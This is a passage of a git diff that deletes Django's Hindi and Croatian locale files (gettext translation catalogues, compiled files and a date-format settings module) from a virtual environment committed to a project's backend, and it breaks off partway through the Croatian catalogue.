"" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "कोई साल निर्दिष्ट नहीं किया गया " - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "कोई महीने निर्दिष्ट नहीं किया गया " - -msgid "No day specified" -msgstr "कोई दिन निर्दिष्ट नहीं किया गया " - -msgid "No week specified" -msgstr "कोई सप्ताह निर्दिष्ट नहीं किया गया " - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s उपलब्ध नहीं है" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"भविष्य %(verbose_name_plural)s उपलब्ध नहीं है क्योंकि %(class_name)s.allow_future " -"गलत है." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr " इस प्रश्न %(verbose_name)s से मेल नहीं खाते है" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "अवैध पन्ना (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "निर्देशिका अनुक्रमित की अनुमति यहाँ नहीं है." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s का अनुक्रमणिका" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hi/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/hi/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hi/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/hi/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 00dd6cf1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hi/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hi/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/hi/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index afdb4f59..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hi/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hi/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/hi/formats.py deleted file mode 100644 index ac078ec6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hi/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "g:i A" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d-m-Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/hr/LC_MESSAGES/django.mo deleted file mode 100644 index f7afa5d2..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/hr/LC_MESSAGES/django.po deleted file mode 100644 index 574a7ab7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hr/LC_MESSAGES/django.po +++ /dev/null @@ -1,1274 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# aljosa , 2011,2013 -# Berislav Lopac , 2013 -# Bojan Mihelač , 2012 -# Boni Đukić , 2017 -# Jannis Leidel , 2011 -# Mislav Cimperšak , 2015-2016 -# Nino , 2013 -# senko , 2012 -# Ylodi , 2011 -# zmasek , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Croatian (http://www.transifex.com/django/django/language/" -"hr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hr\n" -"Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" -"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arapski" - -msgid "Asturian" -msgstr "Asturijski" - -msgid "Azerbaijani" -msgstr "Azarbejdžanac" - -msgid "Bulgarian" -msgstr "Unesite ispravnu IPv4 adresu." - -msgid "Belarusian" -msgstr "Bjeloruski" - -msgid "Bengali" -msgstr "Bengalski" - -msgid "Breton" -msgstr "Bretonski" - -msgid "Bosnian" -msgstr "Bošnjački" - -msgid "Catalan" -msgstr "Katalanski" - -msgid "Czech" -msgstr "Češki" - -msgid "Welsh" -msgstr "Velški" - -msgid "Danish" -msgstr "Danski" - -msgid "German" -msgstr "Njemački" - -msgid "Lower Sorbian" -msgstr "Donjolužičkosrpski" - -msgid "Greek" -msgstr "Grčki" - -msgid "English" -msgstr "Engleski" - -msgid "Australian English" -msgstr "Australski engleski" - -msgid "British English" -msgstr "Britanski engleski" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Španjolski" - -msgid "Argentinian Spanish" -msgstr "Argentinski španjolski" - -msgid "Colombian Spanish" -msgstr "Kolumbijski španjolski" - -msgid "Mexican Spanish" -msgstr "Meksički španjolski" - -msgid "Nicaraguan Spanish" -msgstr "Nikaragvanski Španjolski" - -msgid "Venezuelan Spanish" -msgstr "Venezuelanski Španjolski" - -msgid "Estonian" -msgstr "Estonski" - -msgid "Basque" -msgstr "Baskijski" - -msgid "Persian" -msgstr "Perzijski" - -msgid "Finnish" -msgstr "Finski" - -msgid "French" -msgstr "Francuski" - -msgid "Frisian" -msgstr "Frizijski" - -msgid "Irish" -msgstr "Irski" - -msgid "Scottish Gaelic" -msgstr "Škotski gaelski" - -msgid "Galician" -msgstr "Galičanski" - -msgid "Hebrew" -msgstr "Hebrejski" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Hrvatski" - -msgid "Upper Sorbian" -msgstr "Gornjolužičkosrpski" - -msgid "Hungarian" -msgstr "Mađarski" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonezijski" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandski" - -msgid "Italian" -msgstr "Talijanski" - -msgid "Japanese" -msgstr "Japanski" - -msgid "Georgian" -msgstr "Gruzijski" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Kazaški" - -msgid "Khmer" -msgstr "Kambođanski" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreanski" - -msgid "Luxembourgish" -msgstr "Luksemburški" - -msgid "Lithuanian" -msgstr "Litvanski" - -msgid "Latvian" -msgstr "Latvijski" - -msgid "Macedonian" -msgstr "Makedonski" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolski" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Burmese" -msgstr "Burmanski" - -msgid "Norwegian Bokmål" -msgstr "Bokmål" - -msgid "Nepali" -msgstr "Nepalski" - -msgid "Dutch" -msgstr "Nizozemski" - -msgid "Norwegian Nynorsk" -msgstr "Norveški Nynorsk" - -msgid "Ossetic" -msgstr "Osetski" - -msgid "Punjabi" -msgstr "Pendžabljanin" - -msgid "Polish" -msgstr "Poljski" - -msgid "Portuguese" -msgstr "Portugalski" - -msgid "Brazilian Portuguese" -msgstr "Brazilski portugalski" - -msgid "Romanian" -msgstr "Rumunjski" - -msgid "Russian" -msgstr "Ruski" - -msgid "Slovak" -msgstr "Slovački" - -msgid "Slovenian" -msgstr "Slovenski" - -msgid "Albanian" -msgstr "Albanski" - -msgid "Serbian" -msgstr "Srpski" - -msgid "Serbian Latin" -msgstr "Latinski srpski" - -msgid "Swedish" -msgstr "Švedski" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamilski" - -msgid "Telugu" -msgstr "Teluški" - -msgid "Thai" -msgstr "Thai (tajlandski)" - -msgid "Turkish" -msgstr "Turski" - -msgid "Tatar" -msgstr "Tatarski" - -msgid "Udmurt" -msgstr "Udmurtski" - -msgid "Ukrainian" -msgstr "Ukrajinski" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vijetnamski" - -msgid "Simplified Chinese" -msgstr "Pojednostavljeni kineski" - -msgid "Traditional Chinese" -msgstr "Tradicionalni kineski" - -msgid "Messages" -msgstr "Poruke" - -msgid "Site Maps" -msgstr "Mape stranica" - -msgid "Static Files" -msgstr "Statične datoteke" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "Broj stranice nije cijeli broj" - -msgid "That page number is less than 1" -msgstr "Broj stranice je manji od 1" - -msgid "That page contains no results" -msgstr "Stranica ne sadrži rezultate" - -msgid "Enter a valid value." -msgstr "Unesite ispravnu vrijednost." - -msgid "Enter a valid URL." -msgstr "Unesite ispravan URL." - -msgid "Enter a valid integer." -msgstr "Unesite vrijednost u obliku cijelog broja." - -msgid "Enter a valid email address." -msgstr "Unesite ispravnu e-mail adresu." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Unesite ispravnu IPv4 adresu." - -msgid "Enter a valid IPv6 address." -msgstr "Unesite ispravnu IPv6 adresu." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Unesite ispravnu IPv4 ili IPv6 adresu." - -msgid "Enter only digits separated by commas." -msgstr "Unesite samo brojeve razdvojene zarezom." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Osigurajte da ova vrijednost ima %(limit_value)s (trenutno je " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Osigurajte da je ova vrijednost manja ili jednaka %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Osigurajte da je ova vrijednost veća ili jednaka %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Osigurajte da ova vrijednost ima najmanje %(limit_value)d znak (trenutno ima " -"%(show_value)d)." -msgstr[1] "" -"Osigurajte da ova vrijednost ima najmanje %(limit_value)d znakova (trenutno " -"ima %(show_value)d)." -msgstr[2] "" -"Osigurajte da ova vrijednost ima najmanje %(limit_value)d znakova (trenutno " -"ima %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Osigurajte da ova vrijednost ima najviše %(limit_value)d znak (trenutno ima " -"%(show_value)d)." -msgstr[1] "" -"Osigurajte da ova vrijednost ima najviše %(limit_value)d znakova (trenutno " -"ima %(show_value)d)." -msgstr[2] "" -"Osigurajte da ova vrijednost ima najviše %(limit_value)d znakova (trenutno " -"ima %(show_value)d)." - -msgid "Enter a number." -msgstr "Unesite broj." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Osigurajte da nema više od ukupno %(max)s numeričkog znaka." -msgstr[1] "Osigurajte da nema više od ukupno %(max)s numerička znaka." -msgstr[2] "Osigurajte da nema više od ukupno %(max)s numeričkih znakova." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Osigurajte da nema više od ukupno %(max)s decimalnog mjesta." -msgstr[1] "Osigurajte da nema više od ukupno %(max)s decimalna mjesta." -msgstr[2] "Osigurajte da nema više od ukupno %(max)s decimalnih mjesta." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Osigurajte da nema više od ukupno %(max)s numberičkog znaka prije decimalne " -"točke." -msgstr[1] "" -"Osigurajte da nema više od ukupno %(max)s numberička znaka prije decimalne " -"točke." -msgstr[2] "" -"Osigurajte da nema više od ukupno %(max)s numberičkih znakova prije " -"decimalne točke." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "i" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s sa navedenim %(field_labels)s već postoji." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Vrijednost %(value)r nije jedna od raspoloživih opcija." - -msgid "This field cannot be null." -msgstr "Ovo polje ne može biti null." - -msgid "This field cannot be blank." -msgstr "Ovo polje ne može biti prazno." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s sa navedenim %(field_label)s već postoji." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s mora biti jedinstven pojam za %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Polje tipa: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (True ili False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Slova (do %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Cijeli brojevi odvojeni zarezom" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Datum (bez vremena/sati)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Datum (sa vremenom/satima)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Decimalni broj" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Trajanje" - -msgid "Email address" -msgstr "E-mail adresa" - -msgid "File path" -msgstr "Put do datoteke" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Broj s pomičnim zarezom (floating point number)" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Cijeli broj" - -msgid "Big (8 byte) integer" -msgstr "Big (8 byte) integer" - -msgid "IPv4 address" -msgstr "IPv4 adresa" - -msgid "IP address" -msgstr "IP adresa" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (True, False ili None)" - -msgid "Positive integer" -msgstr "Pozitivan cijeli broj" - -msgid "Positive small integer" -msgstr "Pozitivan mali cijeli broj" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "'Slug' (do %(max_length)s)" - -msgid "Small integer" -msgstr "Mali broj" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Vrijeme" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Binarni podaci" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Datoteka" - -msgid "Image" -msgstr "Slika" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s instanca sa %(field)s %(value)r ne postoji." - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (type determined by related field)" - -msgid "One-to-one relationship" -msgstr "One-to-one relationship" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s veza" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s veze" - -msgid "Many-to-many relationship" -msgstr "Many-to-many relationship" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Unos za ovo polje je obavezan." - -msgid "Enter a whole number." -msgstr "Unesite cijeli broj." - -msgid "Enter a valid date." -msgstr "Unesite ispravan datum." - -msgid "Enter a valid time." -msgstr "Unesite ispravno vrijeme." - -msgid "Enter a valid date/time." -msgstr "Unesite ispravan datum/vrijeme." - -msgid "Enter a valid duration." -msgstr "Unesite ispravno trajanje." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Datoteka nije poslana. Provjerite 'encoding type' forme." - -msgid "No file was submitted." -msgstr "Datoteka nije poslana." - -msgid "The submitted file is empty." -msgstr "Poslana datoteka je prazna." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Osigurajte da naziv datoteke ima najviše %(max)d znak (ima %(length)d)." -msgstr[1] "" -"Osigurajte da naziv datoteke ima najviše %(max)d znakova (ima %(length)d)." -msgstr[2] "" -"Osigurajte da naziv datoteke ima najviše %(max)d znakova (ima %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Molimo Vas da pošaljete ili datoteku ili označite izbor, a ne oboje." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Upload-ajte ispravnu sliku. Datoteka koju ste upload-ali ili nije slika ili " -"je oštečena." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Odaberite iz ponuđenog. %(value)s nije ponuđen kao opcija." - -msgid "Enter a list of values." -msgstr "Unesite listu vrijednosti." - -msgid "Enter a complete value." -msgstr "Unesite kompletnu vrijednost." - -msgid "Enter a valid UUID." -msgstr "Unesite ispravan UUID." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Skriveno polje %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "ManagementForm podaci nedostaju ili su promijenjeni" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Molimo unesite %d obrazac." -msgstr[1] "Molimo unesite %d ili manje obrazaca." -msgstr[2] "Molimo unesite %d ili manje obrazaca." - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "Molimo unesite %d ili više obrazaca." -msgstr[1] "Molimo unesite %d ili više obrazaca." -msgstr[2] "Molimo unesite %d ili više obrazaca." - -msgid "Order" -msgstr "Redoslijed:" - -msgid "Delete" -msgstr "Izbriši" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ispravite duplicirane podatke za %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Molimo ispravite duplicirane podatke za %(field)s, koji moraju biti " -"jedinstveni." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Molimo ispravite duplicirane podatke za %(field_name)s koji moraju biti " -"jedinstveni za %(lookup)s u %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Molimo ispravite duplicirane vrijednosti ispod." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Izaberite ispravnu opciju. Ta opcija nije jedna od dostupnih opcija." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Isprazni" - -msgid "Currently" -msgstr "Trenutno" - -msgid "Change" -msgstr "Promijeni" - -msgid "Unknown" -msgstr "Nepoznat pojam" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Ne" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "da,ne,možda" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d byte-a" -msgstr[2] "%(size)d byte-a" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "popodne" - -msgid "a.m." -msgstr "ujutro" - -msgid "PM" -msgstr "popodne" - -msgid "AM" -msgstr "ujutro" - -msgid "midnight" -msgstr "ponoć" - -msgid "noon" -msgstr "podne" - -msgid "Monday" -msgstr "Ponedjeljak" - -msgid "Tuesday" -msgstr "Utorak" - -msgid "Wednesday" -msgstr "Srijeda" - -msgid "Thursday" -msgstr "Četvrtak" - -msgid "Friday" -msgstr "Petak" - -msgid "Saturday" -msgstr "Subota" - -msgid "Sunday" -msgstr "Nedjelja" - -msgid "Mon" -msgstr "Pon" - -msgid "Tue" -msgstr "Uto" - -msgid "Wed" -msgstr "Sri" - -msgid "Thu" -msgstr "Čet" - -msgid "Fri" -msgstr "Pet" - -msgid "Sat" -msgstr "Sub" - -msgid "Sun" -msgstr "Ned" - -msgid "January" -msgstr "Siječanj" - -msgid "February" -msgstr "Veljača" - -msgid "March" -msgstr "Ožujak" - -msgid "April" -msgstr "Travanj" - -msgid "May" -msgstr "Svibanj" - -msgid "June" -msgstr "Lipanj" - -msgid "July" -msgstr "Srpanj" - -msgid "August" -msgstr "Kolovoz" - -msgid "September" -msgstr "Rujan" - -msgid "October" -msgstr "Listopad" - -msgid "November" -msgstr "Studeni" - -msgid "December" -msgstr "Prosinac" - -msgid "jan" -msgstr "sij." - -msgid "feb" -msgstr "velj." - -msgid "mar" -msgstr "ožu." - -msgid "apr" -msgstr "tra." - -msgid "may" -msgstr "svi." - -msgid "jun" -msgstr "lip." - -msgid "jul" -msgstr "srp." - -msgid "aug" -msgstr "kol." - -msgid "sep" -msgstr "ruj." - -msgid "oct" -msgstr "lis." - -msgid "nov" -msgstr "stu." - -msgid "dec" -msgstr "pro." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Sij." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Velj." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Ožu." - -msgctxt "abbrev. month" -msgid "April" -msgstr "Tra." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Svi." - -msgctxt "abbrev. month" -msgid "June" -msgstr "Lip." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Srp." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Kol." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Ruj." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Lis." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Stu." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Pro." - -msgctxt "alt. month" -msgid "January" -msgstr "siječnja" - -msgctxt "alt. month" -msgid "February" -msgstr "veljače" - -msgctxt "alt. month" -msgid "March" -msgstr "ožujka" - -msgctxt "alt. month" -msgid "April" -msgstr "travnja" - -msgctxt "alt. month" -msgid "May" -msgstr "svibnja" - -msgctxt "alt. month" -msgid "June" -msgstr "lipnja" - -msgctxt "alt. month" -msgid "July" -msgstr "srpnja" - -msgctxt "alt. month" -msgid "August" -msgstr "kolovoza" - -msgctxt "alt. month" -msgid "September" -msgstr "rujna" - -msgctxt "alt. month" -msgid "October" -msgstr "listopada" - -msgctxt "alt. month" -msgid "November" -msgstr "studenoga" - -msgctxt "alt. month" -msgid "December" -msgstr "prosinca" - -msgid "This is not a valid IPv6 address." -msgstr "To nije ispravna IPv6 adresa." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "ili" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d godina" -msgstr[1] "%d godina" -msgstr[2] "%d godina" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d mjesec" -msgstr[1] "%d mjeseci" -msgstr[2] "%d mjeseci" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d tjedan" -msgstr[1] "%d tjedna" -msgstr[2] "%d tjedana" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d dana" -msgstr[1] "%d dana" -msgstr[2] "%d dana" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d sat" -msgstr[1] "%d sati" -msgstr[2] "%d sati" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d minutu" -msgstr[1] "%d minute" -msgstr[2] "%d minuta" - -msgid "0 minutes" -msgstr "0 minuta" - -msgid "Forbidden" -msgstr "Zabranjeno" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF verifikacija nije uspjela. Zahtjev je prekinut." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Ova poruka vam se prikazuje jer stranica na kojoj se nalazite zahtjeva CSRF " -"kolačić prilikom slanja forme. Navedeni kolačić je obavezan iz sigurnosnih " -"razloga, kako bi se osiguralo da vaš internetski preglednik ne bude otet od " -"strane trećih osoba." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Dodatne informacije su dostupne sa postavkom DEBUG=True." - -msgid "No year specified" -msgstr "Nije navedena godina" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Nije naveden mjesec" - -msgid "No day specified" -msgstr "Nije naveden dan" - -msgid "No week specified" -msgstr "Tjedan nije određen" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nije dostupno: %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s 